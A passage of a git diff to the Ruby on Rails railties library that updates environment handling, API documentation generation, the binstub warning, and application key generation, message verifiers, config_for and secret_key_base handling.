-      @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence || "development")
+      @_env ||= ActiveSupport::EnvironmentInquirer.new(ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence || "development")
     end
 
-    # Sets the Rails environment.
+    # Sets the \Rails environment.
     #
     #   Rails.env = "staging" # => "staging"
     def env=(environment)
-      @_env = ActiveSupport::StringInquirer.new(environment)
+      @_env = ActiveSupport::EnvironmentInquirer.new(environment)
+    end
+
+    # Returns the ActiveSupport::ErrorReporter of the current \Rails project,
+    # otherwise it returns +nil+ if there is no project.
+    #
+    #   Rails.error.handle(IOError) do
+    #     # ...
+    #   end
+    #   Rails.error.report(error)
+    def error
+      ActiveSupport.error_reporter
     end
 
-    # Returns all Rails groups for loading based on:
+    # Returns the ActiveSupport::EventReporter of the current \Rails project,
+    # otherwise it returns +nil+ if there is no project.
     #
-    # * The Rails environment;
+    #   Rails.event.notify("my_event", { message: "Hello, world!" })
+    def event
+      ActiveSupport.event_reporter
+    end
+
+    # Returns all \Rails groups for loading based on:
+    #
+    # * The \Rails environment;
     # * The environment variable RAILS_GROUPS;
     # * The optional envs given as argument and the hash with group dependencies;
     #
-    #   groups assets: [:development, :test]
-    #
-    #   # Returns
-    #   # => [:default, :development, :assets] for Rails.env == "development"
-    #   # => [:default, :production]           for Rails.env == "production"
+    #  Rails.groups assets: [:development, :test]
+    #  # => [:default, "development", :assets] for Rails.env == "development"
+    #  # => [:default, "production"]           for Rails.env == "production"
     def groups(*groups)
       hash = groups.extract_options!
       env = Rails.env
@@ -101,12 +123,16 @@ def groups(*groups)
     end
 
     # Returns a Pathname object of the public folder of the current
-    # Rails project, otherwise it returns +nil+ if there is no project:
+    # \Rails project, otherwise it returns +nil+ if there is no project:
     #
     #   Rails.public_path
     #     # => #<Pathname:/Users/someuser/some/path/project/public>
     def public_path
       application && Pathname.new(application.paths["public"].first)
     end
+
+    def autoloaders
+      application.autoloaders
+    end
   end
 end
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
index 7606ea0e46b47..071717a8ae12b 100644
--- a/railties/lib/rails/all.rb
+++ b/railties/lib/rails/all.rb
@@ -1,16 +1,20 @@
+# frozen_string_literal: true
+
 require "rails"
 
 %w(
   active_record/railtie
+  active_storage/engine
   action_controller/railtie
   action_view/railtie
   action_mailer/railtie
   active_job/railtie
   action_cable/engine
+  action_mailbox/engine
+  action_text/engine
   rails/test_unit/railtie
-  sprockets/railtie
 ).each do |railtie|
-  begin
+  begin # rubocop:disable Style/RedundantBegin
     require railtie
   rescue LoadError
   end
diff --git a/railties/lib/rails/api/generator.rb b/railties/lib/rails/api/generator.rb
new file mode 100644
index 0000000000000..126d4d0438e62
--- /dev/null
+++ b/railties/lib/rails/api/generator.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "sdoc"
+require "active_support/core_ext/array/extract"
+
+class RDoc::Generator::API < RDoc::Generator::SDoc # :nodoc:
+  RDoc::RDoc.add_generator self
+
+  def generate_class_tree_level(classes, visited = {})
+    # Only process core extensions on the first visit and remove
+    # Active Storage duplicated classes that are at the top level
+    # since they aren't nested under a definition of the `ActiveStorage` module.
+    if visited.empty?
+      classes = classes.reject { |klass| active_storage?(klass) }
+      core_exts = classes.extract! { |klass| core_extension?(klass) }
+
+      super.unshift([ "Core extensions", "", "", build_core_ext_subtree(core_exts, visited) ])
+    else
+      super
+    end
+  end
+
+  private
+    def build_core_ext_subtree(classes, visited)
+      classes.map do |klass|
+        [ klass.name, klass.document_self_or_methods ? klass.path : "", "",
+            generate_class_tree_level(klass.classes_and_modules, visited) ]
+      end
+    end
+
+    def core_extension?(klass)
+      klass.name != "ActiveSupport" && klass.in_files.any? { |file| file.absolute_name.include?("core_ext") }
+    end
+
+    def active_storage?(klass)
+      klass.name != "ActiveStorage" && klass.in_files.all? { |file| file.absolute_name.include?("active_storage") }
+    end
+end
diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb
index bc670b1d75f69..6c88ead3c7a10 100644
--- a/railties/lib/rails/api/task.rb
+++ b/railties/lib/rails/api/task.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "rdoc/task"
+require "rails/api/generator"
 
 module Rails
   module API
@@ -7,21 +10,24 @@ class Task < RDoc::Task
         "activesupport" => {
           include: %w(
             README.rdoc
+            lib/active_support.rb
             lib/active_support/**/*.rb
-          ),
-          exclude: "lib/active_support/vendor/*"
+          )
         },
 
         "activerecord" => {
           include: %w(
             README.rdoc
+            lib/active_record.rb
             lib/active_record/**/*.rb
+            lib/arel.rb
           )
         },
 
         "activemodel" => {
           include: %w(
             README.rdoc
+            lib/active_model.rb
             lib/active_model/**/*.rb
           )
         },
@@ -30,7 +36,9 @@ class Task < RDoc::Task
           include: %w(
             README.rdoc
             lib/abstract_controller/**/*.rb
+            lib/action_controller.rb
             lib/action_controller/**/*.rb
+            lib/action_dispatch.rb
             lib/action_dispatch/**/*.rb
           )
         },
@@ -38,6 +46,7 @@ class Task < RDoc::Task
         "actionview" => {
           include: %w(
             README.rdoc
+            lib/action_view.rb
             lib/action_view/**/*.rb
           ),
           exclude: "lib/action_view/vendor/*"
@@ -46,6 +55,7 @@ class Task < RDoc::Task
         "actionmailer" => {
           include: %w(
             README.rdoc
+            lib/action_mailer.rb
             lib/action_mailer/**/*.rb
           )
         },
@@ -53,6 +63,7 @@ class Task < RDoc::Task
         "activejob" => {
           include: %w(
             README.md
+            lib/active_job.rb
             lib/active_job/**/*.rb
           )
         },
@@ -60,16 +71,48 @@ class Task < RDoc::Task
         "actioncable" => {
           include: %w(
             README.md
+            lib/action_cable.rb
             lib/action_cable/**/*.rb
           )
         },
 
+        "activestorage" => {
+          include: %w(
+            README.md
+            app/**/active_storage/**/*.rb
+            lib/active_storage.rb
+            lib/active_storage/**/*.rb
+          )
+        },
+
+        "actionmailbox" => {
+          include: %w(
+            README.md
+            app/**/action_mailbox/**/*.rb
+            lib/action_mailbox.rb
+            lib/action_mailbox/**/*.rb
+          )
+        },
+
+        "actiontext" => {
+          include: %w(
+            README.md
+            app/**/action_text/**/*.rb
+            lib/action_text.rb
+            lib/action_text/**/*.rb
+          )
+        },
+
         "railties" => {
           include: %w(
             README.rdoc
             lib/**/*.rb
           ),
-          exclude: "lib/rails/generators/rails/**/templates/**/*.rb"
+          exclude: %w(
+            lib/rails/generators/**/templates/**/*.rb
+            lib/rails/test_unit/*
+            lib/rails/api/generator.rb
+          )
         }
       }
 
@@ -80,7 +123,7 @@ def initialize(name)
         # Be lazy computing stuff to have as light impact as possible to
         # the rest of tasks.
         before_running_rdoc do
-          load_and_configure_sdoc
+          configure_sdoc
           configure_rdoc_files
           setup_horo_variables
         end
@@ -91,25 +134,18 @@ def desc(description)
         # no-op
       end
 
-      def load_and_configure_sdoc
-        require "sdoc"
-
+      def configure_sdoc
         self.title    = "Ruby on Rails API"
         self.rdoc_dir = api_dir
 
         options << "-m"  << api_main
         options << "-e"  << "UTF-8"
 
-        options << "-f"  << "sdoc"
+        options << "-f"  << "api"
         options << "-T"  << "rails"
-      rescue LoadError
-        $stderr.puts %(Unable to load SDoc, please add\n\n    gem 'sdoc', require: false\n\nto the Gemfile.)
-        exit 1
       end
 
       def configure_rdoc_files
-        rdoc_files.include(api_main)
-
         RDOC_FILES.each do |component, cfg|
           cdr = component_root_dir(component)
 
@@ -124,8 +160,9 @@ def configure_rdoc_files
 
         # Only generate documentation for files that have been
         # changed since the API was generated.
-        if Dir.exist?("doc/rdoc") && !ENV["ALL"]
-          last_generation = DateTime.rfc2822(File.open("doc/rdoc/created.rid", &:readline))
+        timestamp_path = "#{api_dir}/created.rid"
+        if File.exist?(timestamp_path) && !File.zero?(timestamp_path) && !ENV["ALL"]
+          last_generation = DateTime.rfc2822(File.open(timestamp_path, &:readline))
 
           rdoc_files.keep_if do |file|
             File.mtime(file).to_datetime > last_generation
@@ -134,20 +171,26 @@ def configure_rdoc_files
           # Nothing to do
           exit(0) if rdoc_files.empty?
         end
+
+        # This must come after the mtime comparison to ensure the main page is not excluded.
+        rdoc_files.include(api_main)
       end
 
-      def setup_horo_variables
+      # These variables are used by the sdoc template
+      def setup_horo_variables # :nodoc:
         ENV["HORO_PROJECT_NAME"]    = "Ruby on Rails"
         ENV["HORO_PROJECT_VERSION"] = rails_version
+        ENV["HORO_BADGE_VERSION"]   = badge_version
+        ENV["HORO_CANONICAL_URL"]   = canonical_url
       end
 
       def api_main
-        component_root_dir("railties") + "/RDOC_MAIN.rdoc"
+        component_root_dir("railties") + "/RDOC_MAIN.md"
       end
     end
 
     class RepoTask < Task
-      def load_and_configure_sdoc
+      def configure_sdoc
         super
         options << "-g" # link to GitHub, SDoc flag
       end
@@ -163,7 +206,15 @@ def api_dir
 
     class EdgeTask < RepoTask
       def rails_version
-        "master@#{`git rev-parse HEAD`[0, 7]}"
+        "main@#{`git rev-parse HEAD`[0, 7]}"
+      end
+
+      def badge_version
+        "edge"
+      end
+
+      def canonical_url
+        "https://edgeapi.rubyonrails.org"
       end
     end
 
@@ -171,6 +222,14 @@ class StableTask < RepoTask
       def rails_version
         File.read("RAILS_VERSION").strip
       end
+
+      def badge_version
+        "v#{rails_version}"
+      end
+
+      def canonical_url
+        "https://api.rubyonrails.org/#{badge_version}"
+      end
     end
   end
 end
diff --git a/railties/lib/rails/app_loader.rb b/railties/lib/rails/app_loader.rb
index 525d5f0161a59..cc057a407dba6 100644
--- a/railties/lib/rails/app_loader.rb
+++ b/railties/lib/rails/app_loader.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "pathname"
 require "rails/version"
 
@@ -8,15 +10,26 @@ module AppLoader # :nodoc:
     RUBY = Gem.ruby
     EXECUTABLES = ["bin/rails", "script/rails"]
     BUNDLER_WARNING = <<EOS
-Looks like your app's ./bin/rails is a stub that was generated by Bundler.
+Beginning in Rails 4, Rails ships with a `rails` binstub at ./bin/rails that
+should be used instead of the Bundler-generated `rails` binstub.
+
+If you are seeing this message, your binstub at ./bin/rails was generated by
+Bundler instead of Rails.
+
+You might need to regenerate your `rails` binstub locally and add it to source
+control:
+
+ rails app:update:bin           # Bear in mind this generates other binstubs
+                                # too that you may or may not want (like yarn)
 
-In Rails #{Rails::VERSION::MAJOR}, your app's bin/ directory contains executables that are versioned
-like any other source code, rather than stubs that are generated on demand.
+If you already have Rails binstubs in source control, you might be
+inadvertently overwriting them during deployment by using bundle install
+with the --binstubs option.
 
-Here's how to upgrade:
+If your application was created prior to Rails 4, here's how to upgrade:
 
   bundle config --delete bin    # Turn off Bundler's stub generator
-  rails app:update:bin          # Use the new Rails 5 executables
+  rails app:update:bin          # Use the new Rails executables
   git add bin                   # Add bin/ to source control
 
 You may need to remove bin/ from your .gitignore as well.
@@ -36,7 +49,7 @@ def exec_app
         if exe = find_executable
           contents = File.read(exe)
 
-          if contents =~ /(APP|ENGINE)_PATH/
+          if /(APP|ENGINE)_PATH/.match?(contents)
             exec RUBY, exe, *ARGV
             break # non reachable, hack to be able to stub exec in the test suite
           elsif exe.end_with?("bin/rails") && contents.include?("This file was generated by Bundler")
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index 1a6aed7ce4aaf..d8ba67ba89474 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,9 +1,15 @@
+# frozen_string_literal: true
+
 require "yaml"
 require "active_support/core_ext/hash/keys"
-require "active_support/core_ext/object/blank"
 require "active_support/key_generator"
-require "active_support/message_verifier"
+require "active_support/message_verifiers"
+require "active_support/encrypted_configuration"
+require "active_support/hash_with_indifferent_access"
+require "active_support/configuration_file"
+require "active_support/parameter_filter"
 require "rails/engine"
+require "rails/autoloaders"
 
 module Rails
   # An Engine with the responsibility of coordinating the whole boot process.
@@ -15,12 +21,12 @@ module Rails
   # Rails::Application::Bootstrap) and finishing initializers, after all the others
   # are executed (check Rails::Application::Finisher).
   #
-  # == Configuration
+  # == \Configuration
   #
   # Besides providing the same configuration as Rails::Engine and Rails::Railtie,
   # the application object has several specific configurations, for example
-  # "cache_classes", "consider_all_requests_local", "filter_parameters",
-  # "logger" and so forth.
+  # +enable_reloading+, +consider_all_requests_local+, +filter_parameters+,
+  # +logger+, and so forth.
   #
   # Check Rails::Application::Configuration to see them all.
   #
@@ -36,44 +42,21 @@ module Rails
   # == Booting process
   #
   # The application is also responsible for setting up and executing the booting
-  # process. From the moment you require "config/application.rb" in your app,
+  # process. From the moment you require <tt>config/application.rb</tt> in your app,
   # the booting process goes like this:
   #
-  #   1)  require "config/boot.rb" to setup load paths
-  #   2)  require railties and engines
-  #   3)  Define Rails.application as "class MyApp::Application < Rails::Application"
-  #   4)  Run config.before_configuration callbacks
-  #   5)  Load config/environments/ENV.rb
-  #   6)  Run config.before_initialize callbacks
-  #   7)  Run Railtie#initializer defined by railties, engines and application.
-  #       One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
-  #   8)  Custom Railtie#initializers added by railties, engines and applications are executed
-  #   9)  Build the middleware stack and run to_prepare callbacks
-  #   10) Run config.before_eager_load and eager_load! if eager_load is true
-  #   11) Run config.after_initialize callbacks
-  #
-  # == Multiple Applications
-  #
-  # If you decide to define multiple applications, then the first application
-  # that is initialized will be set to +Rails.application+, unless you override
-  # it with a different application.
-  #
-  # To create a new application, you can instantiate a new instance of a class
-  # that has already been created:
-  #
-  #   class Application < Rails::Application
-  #   end
-  #
-  #   first_application  = Application.new
-  #   second_application = Application.new(config: first_application.config)
-  #
-  # In the above example, the configuration from the first application was used
-  # to initialize the second application. You can also use the +initialize_copy+
-  # on one of the applications to create a copy of the application which shares
-  # the configuration.
-  #
-  # If you decide to define Rake tasks, runners, or initializers in an
-  # application other than +Rails.application+, then you must run them manually.
+  # 1.  <tt>require "config/boot.rb"</tt> to set up load paths.
+  # 2.  +require+ railties and engines.
+  # 3.  Define +Rails.application+ as <tt>class MyApp::Application < Rails::Application</tt>.
+  # 4.  Run +config.before_configuration+ callbacks.
+  # 5.  Load <tt>config/environments/ENV.rb</tt>.
+  # 6.  Run +config.before_initialize+ callbacks.
+  # 7.  Run <tt>Railtie#initializer</tt> defined by railties, engines, and application.
+  #     One by one, each engine sets up its load paths and routes, and runs its <tt>config/initializers/*</tt> files.
+  # 8.  Custom <tt>Railtie#initializers</tt> added by railties, engines, and applications are executed.
+  # 9.  Build the middleware stack and run +to_prepare+ callbacks.
+  # 10. Run +config.before_eager_load+ and +eager_load!+ if +eager_load+ is +true+.
+  # 11. Run +config.after_initialize+ callbacks.
   class Application < Engine
     autoload :Bootstrap,              "rails/application/bootstrap"
     autoload :Configuration,          "rails/application/configuration"
@@ -86,6 +69,8 @@ class << self
       def inherited(base)
         super
         Rails.app_class = base
+        # lib has to be added to $LOAD_PATH unconditionally, even if it's in the
+        # autoload paths and config.add_autoload_paths_to_load_path is false.
         add_lib_to_load_path!(find_root(base.called_from))
         ActiveSupport.run_load_hooks(:before_configuration, base)
       end
@@ -112,12 +97,12 @@ def find_root(from)
 
     attr_accessor :assets, :sandbox
     alias_method :sandbox?, :sandbox
-    attr_reader :reloaders, :reloader, :executor
+    attr_reader :reloaders, :reloader, :executor, :autoloaders
 
     delegate :default_url_options, :default_url_options=, to: :routes
 
     INITIAL_VARIABLES = [:config, :railties, :routes_reloader, :reloaders,
-                         :routes, :helpers, :app_env_config, :secrets] # :nodoc:
+                         :routes, :helpers, :app_env_config] # :nodoc:
 
     def initialize(initial_variable_values = {}, &block)
       super()
@@ -127,13 +112,17 @@ def initialize(initial_variable_values = {}, &block)
       @app_env_config    = nil
       @ordered_railties  = nil
       @railties          = nil
-      @message_verifiers = {}
+      @key_generators    = {}
+      @message_verifiers = nil
+      @deprecators       = nil
       @ran_load_hooks    = false
 
       @executor          = Class.new(ActiveSupport::Executor)
       @reloader          = Class.new(ActiveSupport::Reloader)
       @reloader.executor = @executor
 
+      @autoloaders = Rails::Autoloaders.new
+
       # are these actually used?
       @initial_variable_values = initial_variable_values
       @block = block
@@ -144,6 +133,13 @@ def initialized?
       @initialized
     end
 
+    # Returns the dasherized application name.
+    #
+    #   MyApp::Application.new.name => "my-app"
+    def name
+      self.class.name.underscore.dasherize.delete_suffix("/application")
+    end
+
     def run_load_hooks! # :nodoc:
       return self if @ran_load_hooks
       @ran_load_hooks = true
@@ -160,23 +156,62 @@ def run_load_hooks! # :nodoc:
 
     # Reload application routes regardless if they changed or not.
     def reload_routes!
-      routes_reloader.reload!
+      if routes_reloader.execute_unless_loaded
+        routes_reloader.loaded = false
+      else
+        routes_reloader.reload!
+      end
+    end
+
+    def reload_routes_unless_loaded # :nodoc:
+      initialized? && routes_reloader.execute_unless_loaded
     end
 
-    # Returns the application's KeyGenerator
-    def key_generator
+    # Returns a key generator (ActiveSupport::CachingKeyGenerator) for a
+    # specified +secret_key_base+. The return value is memoized, so additional
+    # calls with the same +secret_key_base+ will return the same key generator
+    # instance.
+    def key_generator(secret_key_base = self.secret_key_base)
       # number of iterations selected based on consultation with the google security
       # team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
-      @caching_key_generator ||=
-        if secrets.secret_key_base
-          unless secrets.secret_key_base.kind_of?(String)
-            raise ArgumentError, "`secret_key_base` for #{Rails.env} environment must be a type of String, change this value in `config/secrets.yml`"
-          end
-          key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000)
-          ActiveSupport::CachingKeyGenerator.new(key_generator)
-        else
-          ActiveSupport::LegacyKeyGenerator.new(secrets.secret_token)
-        end
+      @key_generators[secret_key_base] ||= ActiveSupport::CachingKeyGenerator.new(
+        ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
+      )
+    end
+
+    # Returns a message verifier factory (ActiveSupport::MessageVerifiers). This
+    # factory can be used as a central point to configure and create message
+    # verifiers (ActiveSupport::MessageVerifier) for your application.
+    #
+    # By default, message verifiers created by this factory will generate
+    # messages using the default ActiveSupport::MessageVerifier options. You can
+    # override these options with a combination of
+    # ActiveSupport::MessageVerifiers#clear_rotations and
+    # ActiveSupport::MessageVerifiers#rotate. However, this must be done prior
+    # to building any message verifier instances. For example, in a
+    # +before_initialize+ block:
+    #
+    #   # Use `url_safe: true` when generating messages
+    #   config.before_initialize do |app|
+    #     app.message_verifiers.clear_rotations
+    #     app.message_verifiers.rotate(url_safe: true)
+    #   end
+    #
+    # Message verifiers created by this factory will always use a secret derived
+    # from #secret_key_base when generating messages. +clear_rotations+ will not
+    # affect this behavior. However, older +secret_key_base+ values can be
+    # rotated for verifying messages:
+    #
+    #   # Fall back to old `secret_key_base` when verifying messages
+    #   config.before_initialize do |app|
+    #     app.message_verifiers.rotate(secret_key_base: "old secret_key_base")
+    #   end
+    #
+    def message_verifiers
+      @message_verifiers ||=
+        ActiveSupport::MessageVerifiers.new do |salt, secret_key_base: self.secret_key_base|
+          key_generator(secret_key_base).generate_key(salt)
+        end.rotate_defaults
     end
 
     # Returns a message verifier object.
@@ -186,72 +221,110 @@ def key_generator
     # It is recommended not to use the same verifier for different things, so you can get different
     # verifiers passing the +verifier_name+ argument.
     #
+    # For instance, +ActiveStorage::Blob.signed_id_verifier+ is implemented using this feature, which assures that
+    # the IDs strings haven't been tampered with and are safe to use in a finder.
+    #
+    # See the ActiveSupport::MessageVerifier documentation for more information.
+    #
     # ==== Parameters
     #
     # * +verifier_name+ - the name of the message verifier.
     #
     # ==== Examples
     #
-    #     message = Rails.application.message_verifier('sensitive_data').generate('my sensible data')
-    #     Rails.application.message_verifier('sensitive_data').verify(message)
-    #     # => 'my sensible data'
-    #
-    # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+    #     message = Rails.application.message_verifier('my_purpose').generate('data to sign against tampering')
+    #     Rails.application.message_verifier('my_purpose').verify(message)
+    #     # => 'data to sign against tampering'
     def message_verifier(verifier_name)
-      @message_verifiers[verifier_name] ||= begin
-        secret = key_generator.generate_key(verifier_name.to_s)
-        ActiveSupport::MessageVerifier.new(secret)
+      message_verifiers[verifier_name]
+    end
+
+    # A managed collection of deprecators (ActiveSupport::Deprecation::Deprecators).
+    # The collection's configuration methods affect all deprecators in the
+    # collection. Additionally, the collection's +silence+ method silences all
+    # deprecators in the collection for the duration of a given block.
+    def deprecators
+      @deprecators ||= ActiveSupport::Deprecation::Deprecators.new.tap do |deprecators|
+        deprecators[:railties] = Rails.deprecator
       end
     end
 
-    # Convenience for loading config/foo.yml for the current Rails env.
-    #
+    # Convenience for loading config/foo.yml for the current \Rails env.
     # Example:
     #
     #     # config/exception_notification.yml:
     #     production:
     #       url: http://127.0.0.1:8080
     #       namespace: my_app_production
+    #
     #     development:
     #       url: http://localhost:3001
     #       namespace: my_app_development
     #
+    # <code></code>
+    #
     #     # config/environments/production.rb
     #     Rails.application.configure do
     #       config.middleware.use ExceptionNotifier, config_for(:exception_notification)
     #     end
+    #
+    # You can also store configurations in a shared section which will be merged
+    # with the environment configuration
+    #
+    #     # config/example.yml
+    #     shared:
+    #       foo:
+    #         bar:
+    #           baz: 1
+    #
+    #     development:
+    #       foo:
+    #         bar:
+    #           qux: 2
+    #
+    # <code></code>
+    #
+    #     # development environment
+    #     Rails.application.config_for(:example)[:foo][:bar]
+    #     # => { baz: 1, qux: 2 }
     def config_for(name, env: Rails.env)
-      if name.is_a?(Pathname)
-        yaml = name
-      else
-        yaml = Pathname.new("#{paths["config"].existent.first}/#{name}.yml")
-      end
+      yaml = name.is_a?(Pathname) ? name : Pathname.new("#{paths["config"].existent.first}/#{name}.yml")
 
       if yaml.exist?
         require "erb"
-        (YAML.load(ERB.new(yaml.read).result) || {})[env] || {}
+        all_configs    = ActiveSupport::ConfigurationFile.parse(yaml).deep_symbolize_keys
+        config, shared = all_configs[env.to_sym], all_configs[:shared]
+
+        if shared
+          config = {} if config.nil? && shared.is_a?(Hash)
+          if config.is_a?(Hash) && shared.is_a?(Hash)
+            config = shared.deep_merge(config)
+          elsif config.nil?
+            config = shared
+          end
+        end
+
+        if config.is_a?(Hash)
+          config = ActiveSupport::OrderedOptions.new.update(config)
+        end
+
+        config
       else
         raise "Could not load configuration. No such file - #{yaml}"
       end
-    rescue Psych::SyntaxError => e
-      raise "YAML syntax error occurred while parsing #{yaml}. " \
-        "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
-        "Error: #{e.message}"
     end
 
-    # Stores some of the Rails initial environment parameters which
+    # Stores some of the \Rails initial environment parameters which
     # will be used by middlewares and engines to configure themselves.
     def env_config
-      @app_env_config ||= begin
-        validate_secret_key_config!
-
-        super.merge(
-          "action_dispatch.parameter_filter" => config.filter_parameters,
+      @app_env_config ||= super.merge(
+          "action_dispatch.parameter_filter" => filter_parameters,
           "action_dispatch.redirect_filter" => config.filter_redirect,
-          "action_dispatch.secret_token" => secrets.secret_token,
-          "action_dispatch.secret_key_base" => secrets.secret_key_base,
+          "action_dispatch.secret_key_base" => secret_key_base,
           "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
           "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
+          "action_dispatch.log_rescued_responses" => config.action_dispatch.log_rescued_responses,
+          "action_dispatch.debug_exception_log_level" => ActiveSupport::Logger.const_get(config.action_dispatch.debug_exception_log_level.to_s.upcase),
           "action_dispatch.logger" => Rails.logger,
           "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner,
           "action_dispatch.key_generator" => key_generator,
@@ -259,10 +332,21 @@ def env_config
           "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
           "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
           "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt,
+          "action_dispatch.authenticated_encrypted_cookie_salt" => config.action_dispatch.authenticated_encrypted_cookie_salt,
+          "action_dispatch.use_authenticated_cookie_encryption" => config.action_dispatch.use_authenticated_cookie_encryption,
+          "action_dispatch.encrypted_cookie_cipher" => config.action_dispatch.encrypted_cookie_cipher,
+          "action_dispatch.signed_cookie_digest" => config.action_dispatch.signed_cookie_digest,
           "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer,
-          "action_dispatch.cookies_digest" => config.action_dispatch.cookies_digest
+          "action_dispatch.cookies_digest" => config.action_dispatch.cookies_digest,
+          "action_dispatch.cookies_rotations" => config.action_dispatch.cookies_rotations,
+          "action_dispatch.cookies_same_site_protection" => coerce_same_site_protection(config.action_dispatch.cookies_same_site_protection),
+          "action_dispatch.use_cookies_with_metadata" => config.action_dispatch.use_cookies_with_metadata,
+          "action_dispatch.content_security_policy" => config.content_security_policy,
+          "action_dispatch.content_security_policy_report_only" => config.content_security_policy_report_only,
+          "action_dispatch.content_security_policy_nonce_generator" => config.content_security_policy_nonce_generator,
+          "action_dispatch.content_security_policy_nonce_directives" => config.content_security_policy_nonce_directives,
+          "action_dispatch.permissions_policy" => config.permissions_policy,
         )
-      end
     end
 
     # If you try to define a set of Rake tasks on the instance, these will get
@@ -296,6 +380,12 @@ def generators(&blk)
       self.class.generators(&blk)
     end
 
+    # Sends any server called in the instance of a new application up
+    # to the +server+ method defined in Rails::Railtie.
+    def server(&blk)
+      self.class.server(&blk)
+    end
+
     # Sends the +isolate_namespace+ method up to the class method.
     def isolate_namespace(mod)
       self.class.isolate_namespace(mod)
@@ -316,30 +406,30 @@ def isolate_namespace(mod)
     # are changing config.root inside your application definition or having a custom
     # Rails application, you will need to add lib to $LOAD_PATH on your own in case
     # you need to load files in lib/ during the application configuration as well.
-    def self.add_lib_to_load_path!(root) #:nodoc:
-      path = File.join root, "lib"
+    def self.add_lib_to_load_path!(root) # :nodoc:
+      path = File.join(root, "lib")
       if File.exist?(path) && !$LOAD_PATH.include?(path)
         $LOAD_PATH.unshift(path)
       end
     end
 
-    def require_environment! #:nodoc:
+    def require_environment! # :nodoc:
       environment = paths["config/environment"].existent.first
       require environment if environment
     end
 
-    def routes_reloader #:nodoc:
-      @routes_reloader ||= RoutesReloader.new
+    def routes_reloader # :nodoc:
+      @routes_reloader ||= RoutesReloader.new(file_watcher: config.file_watcher)
     end
 
     # Returns an array of file paths appended with a hash of
     # directories-extensions suitable for ActiveSupport::FileUpdateChecker
     # API.
-    def watchable_args #:nodoc:
+    def watchable_args # :nodoc:
       files, dirs = config.watchable_files.dup, config.watchable_dirs.dup
 
-      ActiveSupport::Dependencies.autoload_paths.each do |path|
-        dirs[path.to_s] = [:rb]
+      Rails.autoloaders.main.dirs.each do |path|
+        dirs[path] = [:rb]
       end
 
       [files, dirs]
@@ -347,82 +437,99 @@ def watchable_args #:nodoc:
 
     # Initialize the application passing the given group. By default, the
     # group is :default
-    def initialize!(group = :default) #:nodoc:
+    def initialize!(group = :default) # :nodoc:
       raise "Application has been already initialized." if @initialized
       run_initializers(group, self)
       @initialized = true
       self
     end
 
-    def initializers #:nodoc:
+    def initializers # :nodoc:
       Bootstrap.initializers_for(self) +
       railties_initializers(super) +
       Finisher.initializers_for(self)
     end
 
-    def config #:nodoc:
+    def config # :nodoc:
       @config ||= Application::Configuration.new(self.class.find_root(self.class.called_from))
     end
 
-    def config=(configuration) #:nodoc:
-      @config = configuration
-    end
+    attr_writer :config
+    attr_writer :credentials
 
-    # Returns secrets added to config/secrets.yml.
+    # The secret_key_base is used as the input secret to the application's key generator, which in turn
+    # is used to create all ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor instances,
+    # including the ones that sign and encrypt cookies.
     #
-    # Example:
+    # We look for it first in <tt>ENV["SECRET_KEY_BASE"]</tt>, then in
+    # +credentials.secret_key_base+. For most applications, the correct place
+    # to store it is in the encrypted credentials file.
     #
-    #     development:
-    #       secret_key_base: 836fa3665997a860728bcb9e9a1e704d427cfc920e79d847d79c8a9a907b9e965defa4154b2b86bdec6930adbe33f21364523a6f6ce363865724549fdfc08553
-    #     test:
-    #       secret_key_base: 5a37811464e7d378488b0f073e2193b093682e4e21f5d6f3ae0a4e1781e61a351fdc878a843424e81c73fb484a40d23f92c8dafac4870e74ede6e5e174423010
-    #     production:
-    #       secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
-    #       namespace: my_app_production
+    # In development and test, if the secret_key_base is still empty, it is
+    # randomly generated and stored in a temporary file in
+    # <tt>tmp/local_secret.txt</tt>.
     #
-    # +Rails.application.secrets.namespace+ returns +my_app_production+ in the
-    # production environment.
-    def secrets
-      @secrets ||= begin
-        secrets = ActiveSupport::OrderedOptions.new
-        yaml    = config.paths["config/secrets"].first
-
-        if File.exist?(yaml)
-          require "erb"
-
-          all_secrets    = YAML.load(ERB.new(IO.read(yaml)).result) || {}
-          shared_secrets = all_secrets["shared"]
-          env_secrets    = all_secrets[Rails.env]
-
-          secrets.merge!(shared_secrets.deep_symbolize_keys) if shared_secrets
-          secrets.merge!(env_secrets.deep_symbolize_keys) if env_secrets
-        end
-
-        # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
-        secrets.secret_key_base ||= config.secret_key_base
-        # Fallback to config.secret_token if secrets.secret_token isn't set
-        secrets.secret_token ||= config.secret_token
-
-        secrets
-      end
-    end
-
-    def secrets=(secrets) #:nodoc:
-      @secrets = secrets
+    # Generating a random secret_key_base and storing it in
+    # <tt>tmp/local_secret.txt</tt> can also be triggered by setting
+    # <tt>ENV["SECRET_KEY_BASE_DUMMY"]</tt>. This is useful when precompiling
+    # assets for production as part of a build step that otherwise does not
+    # need access to the production secrets.
+    #
+    # Dockerfile example: <tt>RUN SECRET_KEY_BASE_DUMMY=1 bundle exec rails assets:precompile</tt>.
+    def secret_key_base
+      config.secret_key_base
     end
 
-    def to_app #:nodoc:
